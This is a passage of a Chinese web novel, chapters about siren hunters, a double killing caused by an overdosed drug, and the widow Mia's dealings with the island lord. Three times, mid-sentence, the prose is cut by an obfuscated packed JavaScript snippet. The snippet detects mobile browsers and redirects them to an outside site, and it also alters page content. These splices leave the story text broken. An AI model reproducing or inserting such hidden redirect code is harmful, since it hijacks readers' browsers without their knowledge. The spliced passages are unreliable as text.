第三次,海妖猎人首领凯勒和加里花重金找来了能够操控风暴的渡水者,但即使如此,无尽海中的风暴也只是被减弱了,没有停歇。 付出了惨重的代价后,他们终于穿过了风暴区,到达无尽海的中央——奥修斯岛。 据幸存者说,那是一座美丽的小岛。 正中央一棵遮天蔽日的大树,伸展的枝叶将整个小岛覆盖,紫色的叶片,白色的花,以及透明的果实同时存在。 大树发出圣洁的光,闪耀着他们贪婪的眼睛。 他们已经看到,数不清的美丽海妖在大树周围飞翔,天籁歌声回荡在每一个角落。 结果显而易见。 一个海妖,至少需要五个力量强大的海妖猎人一同对付,而奥修斯岛上的海妖数量,远超他们的预期。 几乎刚一照面,他们的舰船就受到了猛烈的攻击。 利爪划破船身,羽翼将火炮的攻击挡了回来。 很快,船就沉到了无尽海的海底,靠近奥修斯岛的海妖猎人,几乎全军覆没,只有外围的船只勉强逃生。 凯勒和加里两个人也险些葬身大海。 自那之后,他们被吓破了胆,再也无心狩猎海妖,一心只想享乐,不肯再出发前往无尽海中冒险。 但是为了得到首都拨款继续维持他们奢靡享乐的生活,装装样子是必须的,所以两人会定期轮流到无尽海附近巡视一圈。 上个月,轮到了凯勒去巡视之时,海上起了雾,船只迷航,他们被迫暂停靠在海中的一个荒岛补充淡水。 在那里,他们遇到了一只重伤昏迷的海妖,将其控制起来,秘密带回了赫尔西岛。 其时,亚当埃尔博也跟随在凯勒左右。 他得到消息,首都那边已经开始怀疑凯勒和加里的怠惰,正在商量是否需要削减甚至停止拨款。 有了这只海妖,正可以解燃眉之急。 亚当劝说凯勒尽快将海妖交给领主府,但凯勒一反常态,私自将海妖囚禁,凯勒说:“今年运气好捡到了一只,明年呢,后面呢,总不可能年年运气都这么好,我要想办法弄清楚,陛下为什么要捕杀海妖。” 亚当并不赞同,他在上面享乐,根本不知道手下的海妖猎人们如今过得是什么日子。 弄清楚了又怎样,难道他还想去威胁皇室不成,那可真是活腻了。 但凯勒一向固执,他的劝说没有用处,只能寄希望于凯勒自己放弃,结果一个月过去,凯勒竟然还没放弃。 他似乎将那只海妖藏起来做着什么实验,然而实验的进展约等于零,凯勒渐渐变得不耐烦起来,却依然没有放弃。 也就是在这时,米娅从普目岛乘船来到赫尔西岛寻找自己的丈夫,被凯勒瞧见,一向好色的他岂会放过这么一个难得一见的美人。 他故意接近米娅,发现她不为金钱所动之后,想出了用非多姆控制她的龌龊手段。 作为他的心腹,亚当了解他的全盘计划,甚至连非多姆,也是由亚当去买。 那时,珠宝商对他的说辞是:“您放心,不会有生命危险的,最多是睡几天或者疯几天。” 了解了非多姆的效果之后,亚当冒出了一个大胆的想法。 在酒中下入足以令凯勒也晕倒或者发疯的非多姆,趁他不清醒的时候,自作主张将海妖运出来,交给领主府。 至于他醒了之后怪罪该怎么办,届时木已成舟,领主府和首都那边也知道了他的所作所为,他恐怕顾不上怪罪自己。 亚当的做法正如珠宝商所说,他将大量的非多姆浓缩成一小瓶,骗凯勒这只是少量的非多姆,只有催情的效果。 然后在案发当晚,看着凯勒将非多姆倒入了酒中。 可是他怎么也不会想到,还有两个人和他做了同样的事情。 当晚,米娅到来之前,凯勒和罗莎在楼上厮混,凯勒一时高兴,向罗莎说出了他的计划,这个计划引起了罗莎的警觉,为了防止被凯勒抛弃,罗莎偷偷在酒中加入了自己好不容易购买到的非多姆。 她想害死米娅。 另一边,不知从哪儿得知海妖消息的加里拿着一根海妖的羽毛前来质问凯勒,打断了凯勒逼迫米娅喝酒的动作。 他们先是吵了一架,加里被凯勒劝了一番之后,冷静下来,凯勒为加里也倒了酒,说要与商量此事。 结果,两人都摄入了过量的非多姆,逐渐出现幻觉,竟将对方当作敌人互相攻击起来。 后面这一段,是米娅的补充,她也说了谎,她其实是在他们打起来之后,才晕过去的。 也就是说,她目睹了两人争吵的过程,知道两人争吵的焦点是海妖,以及,凯勒故意让加里喝酒的场景,他在想什么,也许是想让他也处于自己的控制之下? 总之,悲剧的酿成是有多种巧合构成,加里的妹夫、罗莎和亚当,可以说他们都是凶手,但他们又都不是动手的那一个。 至于那个潜入监狱的杀手,则是亚当雇佣的。 他装作去了隔壁岛屿,为自己制作不在场证明,实际偷偷回到了赫尔西岛。 得知凯勒和加里死了,他慌乱不已,听说其他海妖猎人认为出现在现场的一个女人就是凶手,他赶紧乔装一番雇佣了杀手,想制造米娅在狱中畏罪自杀的假象。 *** 凯勒和加里死于相互斗殴。 真相一经流传,立刻在奥维伊群岛各个岛屿引发轩然大波。 禁药之所以成为禁药,正是因为其巨大的危害,可是以前很多人并不把它当一回事。 甚至在某些地方,服食禁药成为一种潮流。 两个强大的海妖猎人的死,终于为他们敲响了警钟。 顺应形势,各座岛屿纷纷开始严查禁药,得到了前所未有的支持,玛丽亚联盟中种植禁药原料的场所,也被捣毁。 奥维伊群岛中的风气忽然就正了不少,这么一想,凯勒和加里死得倒还有点儿价值。 不过这一切都和米娅无关了。 她的嫌疑被洗清,作为一个无辜的受害者,离开监狱前,她最后去见了罗莎一面。 罗莎离开了女囚监牢,被关入了死囚牢房。 米娅走在她曾经待过的地方,眼熟的长廊上,传来了罗莎痛苦的声音,“求求你们,杀了我吧……” 阴暗压抑的环境,让她的药瘾发作得更加频繁。 墙上还是熟悉的煤油灯,照亮了蜷缩在地上的人影,一阵痛苦的呻吟之后,她似乎又熬过了这一阵,逐渐变得安静起来,一双无神的眼睛望着天花板。 一动不动,就像死了一样。 “罗莎。”米娅轻轻唤她。 没有了精致的妆容,又被药瘾折磨,地上的女人一下老了好几岁,眼角的皱纹愈发深了,听到这个动听的声音,她艰难地转动眼珠,看了过来。 牢房之外,艳丽妩媚的脸上闪过一丝怜悯。 “是凯勒让你变成这样的吗?” 米娅蹲了下来,细细看着她脸上残存的痛苦痕迹,如果凯勒曾经打算用禁药控制自己,那之前还有没有同样遭遇的受害者呢。 米娅立刻就想到了罗莎。 罗莎没有回答。 米娅想她应该是听到了,因为她无神的眼睛中慢慢涌出了泪水。 泪水从眼角滑落,洇湿了衣服,留下一片深色的斑点。 “米娅夫人。”跟随米娅一起过来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好呀,莱森。”米娅一点儿没客气,笑容愈发迷人,深蓝色的眼眸弯成了月牙,她视线下移,落到莱森的手掌上,“您怎么也学领主大人戴起了手套?” 莱森的脸瞬间红了,将手往背后一藏,磕磕巴巴地说:“有点儿冷,就、就戴了,不……好看吗,那我不戴了。” 说着,他将手套取了下来,手掌是红色的,而且湿漉漉的,一看就知道他先前一直在忍着手套中的闷热。 这个天气,跟冷也沾不上边。 米娅掩唇轻笑,没有拆穿他。 他学谁不好,去学以利亚赫尔西,那人冷的跟冰块一样,听说连夏天都戴着手套,那能学得了吗,怕不是要把他热死。 想到这里,米娅不禁愣了愣神,说起来,那天在马车上,当以利亚扼住自己的喉咙时,隔着手套,她似乎感受到了他掌心的温度。 “米娅,你接下来有什么打算?”莱森的话将她从回忆里拉出来。 笑容一淡,米娅看向远方的山丘,视线仿佛越过山丘,看见了无边无际的大海。 在亚当埃尔博的讲述中,曾经有那么一句话,他说:“她的丈夫,我和凯勒首领的确知道他的下落,他跟随着我们参加了第三次前往无尽海的行动,作为前锋部队靠近了奥修斯岛,然后被海妖袭击,落入海中失踪了。” 那一战的惨状在赫尔西岛上广为流传,什么失踪,不过是自欺欺人的说法。 莱森仍记得米娅当时的表情,没有惊讶,只有悲伤和释然,一个一年杳无音信的人,其实在她到来之前,就已经猜到了结局吧。 “我是变卖了所有家产过来的,普目岛已经回不去了,也许,我会在赫尔西岛上住下来。” “我帮你。”莱森脱口而出。 深蓝色的眼眸惊讶地看向他,他连忙解释说:“我没有别的意思,就是你对岛上也不熟,我可以帮你留意一下哪里的房子更好。” “那就多谢了。” 美丽的笑颜映入他的眼中,有种莫名的温暖。 11. 海妖(一) 坐落在赫尔西岛最繁华街道上的领主府有着近千年的历史。 古朴的建筑灰墙白瓦,庄严肃穆,是千年前最流行的建筑风格,与周围极具现今风格的建筑与商店形成了微妙的时空交错感。 两百多年前的“天空之劫”中,大地崩裂摇晃,领主府旁边的房子全都成了废墟,唯有领主府始终屹立不倒,是除了赛欧庄园之外,最有名的地标建筑。 领主府虽然叫这个名字,却不是赫尔西岛领主的府邸。 众所周知,赫尔西家族之人世代居住在靠近海边的赛欧庄园之中,赫尔西岛领主也不例外。 领主府现在已经完全成了办公场所。 以利亚·赫尔西是这里的真正主人,但他并不常来,岛上大小事务,往往决定于卡伦·道恩和黑骑士休伊。 最近的领主府不同往常,为了两大海妖猎人首领被杀一案,以利亚·赫尔西频繁现身,领主府中众人每日战战兢兢,生怕出现什么纰漏。 现在好了,案子真相大白,紧张的日子终于可以告一段落。 众人欣喜地目送着领主大人的车驾离开,脸上的表情刚刚放松下来,从布里斯帝国首都传来一则消息,让他们又陷入了忙碌之中。 一艘皇室舰船今日从首都绿恩岛出发,目的地正是赫尔西岛。 船上载有红衣神官乌斯和来自皇室的卫兵。 凯勒和加里的案子影响巨大,布里斯帝国皇室决定将犯人带回首都行刑,这些皇室卫兵前来的主要目的就是押送犯人。 至于红衣神官乌斯,他是代表皇室前来参加一个月后的风灵节庆祝仪式,同时,也肩负着与赫尔西岛领主商议海妖猎人组织何去何从的使命。 为了迎接这样一位尊贵的客人,必要的准备工作有很多,他们必须现在就行动起来。 以利亚几乎是与他们同时得到的消息。 此时,舰船已经启程。 他的马车又折返了回来,俊美的男人回到领主府中独属于自己的办公室,宽敞明亮,是领主府中最豪华的,也是空闲时间最多的房间。 卡伦·道恩和黑骑士休伊闻讯赶来,你一言我一语地商量着对策。 “来就来,又不怕他。”休伊无所谓道。 卡伦却满脸忧愁,“这不是害不害怕的问题,往年风灵节帝都那边从来没有派人来过,今年突然一反常态,派来的还是个红衣神官,总觉得不对劲。” “他们不是说了吗,他是代表皇室商议海妖猎人组织的去留问题。” “我总觉得没这么简单。” 能让“狡狐”面露难色,这个红衣神官乌斯当然不会是简单人物。 他出身于一个极其贫困的家庭,为了活命加入教会,三十多岁就成为四位红衣神官之一,在教会中仅次于大神官之下。 一个毫无根基的人想爬到如今的位置上,背后必然是累累白骨,又怎么会好对付。 更何况,他和赫尔西岛,还有一些被人刻意遗忘的往事。 “莱森呢?” 卡伦和黑骑士说了半天,也没讨论出个结果来,以利亚坐在办公桌前,抬手让他们住嘴,问起了莱森的下落。 毕竟乌斯来了,最在意的应该是莱森。 休伊支支吾吾地说:“他去监狱接米娅夫人了。” 砰地一声。 尊贵的领主大人面无表情地将手中的书本摔在桌上,从他的脸上看不出来生气,可是卡伦和休伊都感觉到了巨大的压力。 “莱森一向善良,他应该是看米娅夫人孤身一人,所以想帮她一把,没有别的意思。”黑骑士休伊为莱森说话。 年轻的文官赶紧用手肘推了推他,然而一边是人的血肉之躯,一边是坚硬的盔甲,他手肘都红了,休伊跟个没事人一样,还想继续为莱森说话。 这种时候,简直是越描越黑。 “行了。”结果最后还是以利亚打断了休伊的话,男人棕色的眼眸看着放在桌上的手,被手套覆盖的手指间,似乎有什么在蠕动,“将亚当埃尔博带过来,我有话要问他。” 当莱森听到乌斯正在来赫尔西岛的路上这个消息时,他和米娅刚离开监狱大门没有多远,天气很好,他们放弃了乘坐马车,转而走路向市区而去。 就像踏春游玩一般。 眼前的美人是个很好的交谈对象,从不会让对话冷场,既能顾虑到他的感受,又不会吝惜于表达自己的看法。 她是那么的美丽,又是那么的温柔。 玫瑰花般的馨香气息始终萦绕在身侧,轻柔的话语从冶艳的红唇中流出,轻呼着他的名字,“莱森……” 侍从追赶上来,将令人惊讶的消息告诉他后,他陷入了回忆之中。 乌斯,一个他已经很久没听到过的名字了。 米娅的呼唤将他拉回现实,一抬眼,是女人担忧的脸,“你怎么了,我不太清楚布里斯帝国的情况,这个乌斯神官,有什么问题吗?” “没事。”莱森连忙否认,声音有些干涩,“他是……我的故人,抱歉,米娅,我不能陪你走到旅馆了,我得去领主府一趟。” “赶紧去吧,不用管我。” 多么善解人意,如果不是突然的状况,他真想陪她一直这么走下去。 目送着莱森匆忙的背影消失在道路的转角处,米娅俯身摘了一朵淡黄色的野花捧在掌心,花瓣微卷,边缘处隐隐发黑。 这是一朵已经过了盛放期,正在枯萎的花。 柔嫩的指尖轻轻拂过花瓣,边缘的黑色慢慢褪去,就像时光倒退一般,淡黄色的小花又回到了它最美的时刻。 口中哼唱着不知名的歌曲,指尖捏着这朵小花,米娅脚步轻快地沿路向前走去,嘴角勾起一抹神秘的笑,“乌斯,好像在哪里听过这个名字,呵呵,赫尔西岛越来越热闹了。” *** 地处布里斯帝国和玛利亚联盟交界处的赫尔西岛一向热闹。 岛上的西摩港更是奥维伊群岛第五大港口,来往商船络绎不绝,每一天都是忙碌的景象。 阳光从稀薄的云层中透出来,洒下一片柔和的金色,就像酒馆中女侍从的金发,握在手中又很快溜走。 一望无际的海面上,一艘艘卡拉克商船破开粼粼波光,驶入了忙碌的西摩港。 商船停泊靠岸,早就在舱门处等候的人们提着行李迫不及待地走出了船舱,结束在海上漂泊无定的日子,重新踏入坚实的大地。 赫尔西岛周围海域一年四季都是收获的时节,一艘艘渔船装着巨网出港,一艘艘渔船满载而归。 海风是咸的,裹着浓烈的鱼腥味。 码头的渔船上,渔夫正在将一筐筐渔获从船上搬运下来,新鲜捕捞的海鱼大张着嘴,尾巴一甩,一个接一个从筐中跃了出来,在空中甩出一连串水珠,小小的彩虹忽然出现。 不少人驻足观看,只有渔夫一边大叫着“我的鱼我的鱼”,一边忙不迭地将鱼又抱回筐中。 渔夫弯腰一个劲地捡着鱼,忽然眼前有些脏的地面上出现了一双红色的高跟鞋,鞋尖装饰着蔷薇花形状的装饰,细长的鞋跟像倒立的尖塔,似乎要刺破地面。 长裙几乎曳地,细白的脚腕在裙摆摇曳之间若隐若现。 渔夫抬头一看,宽大的礼帽之下,一张俏丽的面容半藏于阴影之中,正在对着他微笑,“劳烦问一下,赛欧庄园在哪个方向?” 渔夫呐呐应声,手指仿佛不受自己控制,抬起来指向了某个方向。 俏丽的面容看向他指向的地方,当她的视线沿着曲折的海岸线向远处移动时,一座伫立在悬崖峭壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818804|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的高塔撞进有些怪异的瞳孔中。 高塔细长,像一只黑色钢笔,倒插在悬崖上,塔尖是尖锐的笔尖,仿佛要刺破薄云笼罩的蔚蓝天空,将天空也划上黑色。 “多谢。” 悦耳的声音再度响起,就像是什么特殊的信号一样,地上的海鱼又开始了剧烈的挣扎,其中一条一尾巴甩到他的脸上,将他从迷蒙中惊醒。 再抬头看,面前的人却消失不见了。 环顾四周,也无踪迹,就像是做梦一样。 这时,地上的鱼儿也停止了挣扎,竹篾编的渔筐倾倒在地上,还有源源不断的鱼正从其中滑出来。 想起来了,刚才他在搬运的过程中不小心将渔筐弄翻了,他正在努力将倾洒在地上的海鱼收拢装进去,面前何曾出现什么面容俏丽的少女。 而且那少女还有一双奇怪的眼睛,似乎没有瞳仁,他一定是最近听海妖的传说听得太多了,累得出现了幻觉,以为自己见到了海妖。 人群之外,米娅伫立在阴影处,看着满地的鱼,又看了眼红色高跟鞋消失的方向,摇了摇头,顺着车流离开。 出事之前,她住在赫尔西岛城区的一家旅馆之中,离港口不远,便宜干净,店主是个年近六旬的老妇人,听说了她的故事,对她十分照顾。 也不知道她的行李有没有被扔出去,米娅这么想着,来到了旅馆所在的小巷。 虽处闹市,却是个安静的地方。 推门进去,简陋的前台一如往常,和蔼的老妇人坐在椅子上,正在拿手指一行一行地对着账单,听见声响,抬头一看,见是她,激动地脸上笑开了花。 “米娅,我就知道你会没事。” “艾丽奶奶。”米娅跑过去,给了她一个大大的拥抱,“您这几天还好吗?” 艾丽奶奶轻拍她的北背部,像哄孩子一样,笑得合不拢嘴,“我能有什么事,还不是就这样,每天忙着店里的生意,倒是你,我听说监狱里的人一个个都凶神恶煞的,他们没对你怎么样吧。” 米娅轻笑着,眨了眨眼睛,“他们可不敢对我怎么样。” 艾丽奶奶愣了愣,不禁看向她的脸。 还是美得张扬肆意,甚至笑容还比之前更加好看了,就像有什么心事已了一样。 凯勒和加里的案子闹得满城风雨,她也听说了不少消息,真真假假,没几个人分得清楚,“难道……你……你真的跟领主大人……” 美人神情一怔,自己随口胡诌的绯闻,倒是传的满天乱飞。 “其实……”米娅犹豫着开口,她一说话,瞬间感觉周围有无数双耳朵竖了起来。 这家旅馆价格公道,从来不缺客源,就是现在,在前台附近的休息区域内,也坐了不少人,而且,多半都听说了外界的传闻。 咚咚咚。 外面传来敲门声,打断了米娅的话,她正不知道该怎么解释,听到这声音如蒙大赦,“有客人来了,我先不打扰了,艾丽奶奶,我的房间没给别人住吧。” “没有没有,东西我都给你收得整整齐齐的,不用担心。” 米娅连忙转身,脚刚踏上楼梯,旅馆的门开了,一个陌生的声音从背后响起,“米娅夫人,请留步。” 找她的? 会是谁? 她转身看去,笑眯眯的男人站在门口,黑色的制度面料昂贵,一丝不苟的头发梳到耳后,笑容有些狡黠。 卡伦·道恩? 他为什么会找自己,难不成—— 米娅心中微讶,不禁看向他的身后,阳光倾洒的地方,修长挺拔的身影沐浴在阳光之中,抬眼向她看过来。 逆着光,棕色的眼眸仿佛一团化不开的雾气,幽深的视线落在她的身上,寒意从她的背部升起。 他怎么来了?! 12. 海妖(二) 马车,又是马车。 和上一次的不是同一辆。 这一辆更加华丽宽敞,车厢内壁是精美的浮雕,刻着滔天洪水之中,陆地从海底拔地而起的景象。 在浮雕的最上方,是三个模糊的人影。 隐约能够分辨出他们的衣袍下摆和飘扬的长发,但四肢和脸都模糊成了扭曲的线条,就像纸上的墨迹被水打湿之后,晕染成了看不清的图案。 又像山崖上经过千年风吹雨打的石刻,清晰的轮廓被磨平,与周围的环境融为一体。 如果不是知道这幅浮雕雕刻的是什么事情,她或许也分辨不出那是三个人影。 不,不应该说是人。 在浮雕的右下角,刚刚升起的陆地上,火柴一样细长的身躯匍匐在地,似乎正在跪拜。 这才是人,最初的人类。 这是创世时的景象,那三个模糊的人影,其实是传说中的创世神。 那已经是万年以前的事情了,经由口口相传流传至今,不知如今的版本中,还有几分真实可言。 唯一可以确定的事,传说中的创世三神从未出现在人类面前,就连两百年前大地崩裂之际,无数的人祈求祂们的垂怜,祂们依然杳无音信。 甚至到如今,连神祇的名字都消失在了历史的尘埃之中,人们只知道,曾经的奥维伊大陆,如今的奥维伊群岛的名字,似乎与他们有关。 只是也没人知道究竟有什么关系。 米娅只看了一眼就垂下了深蓝色的眼眸。 现在不是欣赏浮雕的时候。 几个小时之前,赫尔西岛尊贵的领主大人,以利亚·赫尔西,当众宣布她无罪,这才过了多久,他又带着人来找自己,摆出一副兴师问罪的样子。 而且有什么话不能当众说,非要避开好奇的众人,来到马车中。 米娅扬唇轻笑,美丽的眼眸瞥一眼微笑站立在一旁的卡伦·道恩,只当他不存在,越过他走到以利亚的面前,“领主大人找我有什么事?” 有点儿不耐烦的感觉。 还真是美丽肆意。 卡伦在一旁看着,不由得感叹。 敢这么跟以利亚说话的,除了她,岛上估计也没有第二个了,难怪领主大人要亲自来这一趟。 年轻的领主看着她,“你还要继续找你的丈夫?” 米娅用难以置信的目光回望他,手指勾起胸前的一缕卷发,“亚当埃尔博不是说他已经死了吗,还找什么,我又不可能跳进海里去捞他,在海边给他烧几张纸祭奠一下差不多得了。” 卡伦看着她,那张美丽的脸上是漫不经心的笑意,妩媚慵懒,红润的嘴唇说出的也是最冷漠无情令人心寒的话语。 如果不是听了亚当·埃尔博的那番话,他们大概也被她骗了。 不久之前,以利亚再次审问了亚当·埃尔博,用了一些特殊手段,从他的口中听到了关于米娅和凯勒的,有点儿不一样的另一个故事。 故事还要从三年前米娅的丈夫来到赫尔西岛说起。 米娅的丈夫只是一个普通人,没有强大的力量,甚至连海妖猎人组织也加入不了,但得益于他曾经是个手艺精湛的木匠,梧桐区的海妖猎人需要打造弓弩之类的木质武器,都来找他。 久而久之,他终于和凯勒说上了话。 一开始,凯勒劝他放弃,说他根本不是海妖的对手,不仅赚不了钱,反而会赔上性命。 一番肺腑之言,让他感动不已,他也终于向凯勒透露了为什么自己要赚钱——为了让自己漂亮的妻子不再跟着自己受苦。 也许是酒喝得多了点儿,他怕凯勒不信,竟然将妻子的画像拿出来给凯勒看。 画像上的女人有一张美丽到让周围的人都黯然失色的脸,精致美艳的眉眼笑意盈盈,好像从画中看着画外的每一个人。 那时亚当·埃尔博就站在旁边,看到画像的一瞬间,他就知道,完了。 凯勒也许在别的方面不算个绝对的坏人,但在男女之事上,他做的坏事,亚当·埃尔博数都数不过来。 从那之后,凯勒和他的关系突然变得比亲兄弟还好,但凡有什么好事,凯勒一定会拉上他,令他对自己感激涕零。 凯勒再也不会劝他放弃,反而时常鼓励他,在其他人面前表达出对他的看重,让他以为自己受到了贵人的青睐。 凯勒让他将妻子也接到赫尔西岛,说可以帮他们在赫尔西岛安家,但他在赫尔西岛见识到海妖猎人的醉生梦死之后,对此事始终犹豫。 他到底没有被吹捧得真的傻了,知道自己的妻子有多么招人觊觎,这封让妻子前来赫尔西岛的信件,始终没有寄出。 他迟迟不行动,凯勒失去了耐心,那时正是第三次对无尽海的行动前夕,凯勒巧舌如簧,骗得他也参与了这次行动,将他安排在其中一艘舰船上,并指使他同船的人寻找机会害死他。 他究竟是死于海妖之手,还是死于凯勒的计谋,已经不可查证。 那一船的人,都死在了无尽海中。 那一次惨烈的失败之后,他们整理了他的遗物,知道了米娅的地址,以海妖猎人组织的名义寄去一封信,让米娅前来赫尔西岛。 这一封信寄出之际,是一年前,不知道为什么,米娅一直未曾出现, 有很长一段时间,凯勒忙于应付巨大伤亡而产生的种种麻烦,没有时间再去想那个普通男人和他漂亮得过分的妻子。 当他终于空闲下来时,发现米娅并未出现,只当她接到噩耗之后已经改嫁,还有些懊悔,觉得当初应该在信中隐瞒那人的死讯。 所以半个月前,时隔一年之后,米娅竟出现在了赫尔西岛,对于凯勒来说,简直是意外之喜。 米娅上岛的第一天,他就见到了她,看到她的第一眼,就认出了她。 比画像上还要美丽。 他下令让所有认识那个男人的海妖猎人隐瞒了他的消息,米娅遍寻无果之际,他再出现在她面前,声称认识他的丈夫。 这样,米娅就会将他当作最后的救命稻草,无论如何也要从他这里获取自己丈夫的下落。 只是他怎么也没有想到,当晚竟会发生那么多意外,以至于将命也丢了。 年轻的领主看着他,“你是如何做到的,令凯勒和加里自相残杀?” 米娅看着他,眼神无辜,“领主大人在说什么,凶手不是已经找到了吗?” “亚当·埃尔博说,凯勒一年前给你寄过一封信,信中提到你的丈夫已死。”年轻的领主低声说道。 米娅笑了笑,“领主大人您说的这封信,我好像从来没有收到过呢。赫尔西岛距离普目岛很远,信件在路上出了意外,未能到达收信人手中,也不是什么奇怪的事情。” 这样解释倒也说得通。 “那么,你上岛的第一天,就已经问出了你丈夫的死讯,以及,他死亡的真相,这又怎么说?不用急着反驳,那个叫杰克的海妖猎人,已经说了。” 凯勒下令不让人告知米娅真相,可是所有人都会听他的吗,身为首领,却没有功绩,他早已受到质疑。 杰克正是其中之一,他是个已近暮年的海妖猎人,年纪虽老正义之心仍在,他知道米娅丈夫的经历,看不惯凯勒的行径,于是在米娅上岛的第一天,就偷偷将一切告诉了她。 “哦,他说了呀。”米娅倒是毫不畏惧,一副并不在意的模样,“一个人的话,我肯定不会轻易相信,还要找别人问问,这不是很正常吗?” 真是伶牙俐齿,卡伦不由得感慨。 这一回,不等以利亚再说话,米娅决定先发制人,她又往前走了几步,两个人靠得更近了,呼吸声清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818805|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰可闻。 “领主大人怀疑我的话,把我再关起来不就好了,反正我孤身一人,别说失踪了,就算死在了哪里,也不会有人在意。” 笑容从她美艳的脸上消失,完全沉下来的眉眼有些冷意,就像高天上的泠泠冷月,深蓝色的眼眸中闪烁着冷清的光彩。 以利亚冷漠的眼神终于有了变化,他望进她美丽的眼眸,从那深蓝色的漩涡中看到了点点恨意,他垂下眼眸,平静道:“案子已经结束了。” 米娅一愣,“那为什么还要来审问我?” “我只是想知道,他们的死跟你究竟有没有关系。” 他回答得有点太诚恳了,倒让米娅觉得不好意思起来,她眨了眨眼睛,“好吧,我承认,我收到了那封信,但是在那之前,其实还有另一封信。” 米娅退后几步,拉开他们之间的距离,余光一瞥,卡伦·道恩站在一旁正在出神,察觉到她的目光,像见鬼一样看了她一眼。 什么情况? 米娅茫然一瞬,不打算理会他,说起了故事中他们也不知道的,另一些隐藏的真相。 一年前,在那次行动之前,她的丈夫曾经给她写过一封信,在那封信上—— “他已经察觉到了凯勒对他过于殷勤,心中有些不安,所以他嘱咐我,如果他出事了,一定不要来赫尔西岛。没过多久,凯勒的那封信就寄了过来。” 米娅轻抿红唇,眼中渐有泪光闪烁。 “有了前一封信的提醒,我不知道信上所言是真是假,故而不曾过来,之后再无书信寄来,我已经猜到,他多半是遭遇了不测……” 话语在此刻中断,是她的哽咽终于到了无法强撑的地步,晶莹的泪珠从眼角流下,模糊了视线。 一向明艳的美人泣泪,丝毫没有折损动人情态,反而有种惊心动魄的美。 卡伦自认并不为其美色所动,见此情形,也不禁为她揪心。 米娅垂泪继续说:“之所以间隔了一年才来,是因为我始终心存期待,希望这一年里能再收到他的来信,可是希望终究还是落了空。我来到赫尔西岛之后,从杰克老先生那里听说了真相,非常愤怒,想为他报仇,可是我又能有什么办法。这个时候,凯勒为了讨好我,无意中透露出他私自囚禁了一只海妖这件事,所以我将这个消息暗中透露给了加里。那天晚上,我知道加里回去找他,才答应赴约,可是我只是想去打探更多的消息,并尝试激起他们的矛盾,并没有想杀了他们,我没有这个能力。” 她的言辞恳切,不似说谎。 更重要的是,正如她自己所说,她实在太过弱小,什么也做不到。 “领主大人,无论你信不信,这就是事实了,如果您一定要治我的罪,我也无话——”美丽的眼眸突然瞪大,声音戛然而止。 她没有擦去眼泪,眼前是模糊的一片,但是却能感觉到那个气质尊贵的男人,走到了她的面前,因为那双散发着寒气的手,正隔着手套贴在她的脸上,拇指摩擦着她的眼角,将泪水抹去。 温热的泪珠浸润进手套中,似乎将他冰凉的手指也染上了温度。 米娅目瞪口呆,卡伦也难以置信地望着眼前这一幕。 这还是他对一切都漠不关心的领主大人吗,他怕不是在做梦吧? 狠狠捏了自己的胳膊一下,强烈的痛感传来,提醒着他眼前的一切都是真实的。 “答应我一件事,就不治你的罪。”轻柔的抚摸忽然变了味,男人的手掌向下,捏住了她的下巴,迫使她抬起头直视他。 “嘶……什么?”米娅从喉咙中挤出两个字,下巴处传来尖锐的疼痛,好像要被人捏碎了。 她却莫名松了一口气。 这才对嘛,温柔这两个字,怎么会跟以利亚·赫尔西扯上关系呢。 “从莱森面前消失。” 13. 海妖(三) 清晨的海风是最冷的,尤其是日出前后。 梧桐区,彻夜狂欢的海妖猎人从靠海而建的小楼里走了出来,衣服松松垮垮地穿在身上,胸前露出了大片肌肤。 红色的暧昧痕迹从他的脸上一直延伸到胸前,只看一眼,就知道昨晚的战况有多激烈。 海妖猎人脚步虚浮,大着舌头跟一路上遇到的渔民打着招呼,满身的酒气让人避之不及,最近诸事不顺,就连情人火热的拥抱也不能抚平他的烦躁。 唯有酒精能够暂时麻痹身心。 醉酒的男人摇摇晃晃地沿着海边马路走着,看见一望无际的海面,忍不住咒骂起来:“凯勒……嗝……你他妈死得倒是轻巧……我们……嗝……我们接下来又该怎么办……” 他的声音突然顿住,眼睛呆呆地望着不远处的海滩,因恐惧而长吸一口气。 太阳还没出来,缺少了阳光的照射,海滩是灰色的,浪花一阵又一阵,冲刷着散落在海滩上的石子,带来乳白色的晨雾。 他看见,雾气中一道黑色的影子若隐若现,就如鬼怪故事里吸人魂魄的幽灵,在海面上飘荡。 愣神的功夫,那道影子越来越近。 酒一下醒了大半,海妖猎人匆忙向后退去,结果踩到石子上,脚下不稳,跌坐到地上。 笑声从影子的方向传了过来,柔美动听,像刺破晨雾的第一束阳光,将他的神智拉回。 黑色的影子走得近了,终于在雾中显示了她原本的模样,艳丽的眉眼,精致的鼻子,还有红润的唇,裹在黑色不起眼的长裙中,不见容色黯淡,反而更添清艳。 是那个女人! 